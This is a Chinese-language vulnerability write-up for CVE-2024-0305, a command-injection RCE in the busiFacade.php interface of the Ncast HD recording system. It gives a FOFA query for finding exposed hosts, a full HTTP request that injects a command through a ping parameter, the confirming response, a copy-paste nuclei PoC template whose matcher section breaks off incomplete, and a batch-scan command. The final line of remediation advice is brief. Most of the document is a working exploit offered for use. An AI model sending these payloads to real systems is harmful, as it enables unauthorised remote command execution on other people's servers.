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漏洞名称

Ncast盈可视高清智能录播系统busiFacade RCE漏洞

漏洞影响

Ncast盈可视

漏洞描述

Ncast盈可视高清智能录播系统是一套新进的音视频录制和播放系统，旨在提供高质量，高清定制的录播功能。该系统/classes/common/busiFacade.php接口存在RCE漏洞，攻击者可以构造恶意命令远控服务器。

FOFA搜索语句

app="Ncast-产品" && title=="高清智能录播系统"

漏洞复现

向靶场发送如下数据包，执行echo hello命令


POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

响应内容如下，其中包含了hello关键词

HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Date: Fri, 12 Jan 2024 05:41:32 GMT
Server: nginx/1.9.5
X-Powered-By: PHP/5.6.14

$#str#$hello

漏洞复现成功

nuclei poc

poc文件内容如下，在本地新建CVE-2024-0305.yaml文件，将内容粘贴进去即可

id: CVE-2024-0305

info:
  name: Ncast盈可视高清智能录播系统busiFacade RCE漏洞
  author: fgz
  severity: critical
  description: Ncast盈可视高清智能录播系统是一套新进的音视频录制和播放系统，旨在提供高质量，高清定制的录播功能。该系统/classes/common/busiFacade.php接口存在RCE漏洞，攻击者可以构造恶意命令远控服务器。
  metadata:
    max-request: 1
    fofa-query: app="Ncast-产品" && title=="高清智能录播系统"
    verified: true
requests:
  - raw:
      - |+
        POST /classes/common/busiFacade.php HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept: */*
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
        
        %7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20{{randstr}}%22%5D%7D

    matchers:
      - type: dsl
        dsl:

运行POC

nuclei.exe -l data/Ncast.txt -t mypoc/其他/CVE-2024-0305.yaml

修复建议

升级到最新版本或者缩减互联网攻击面。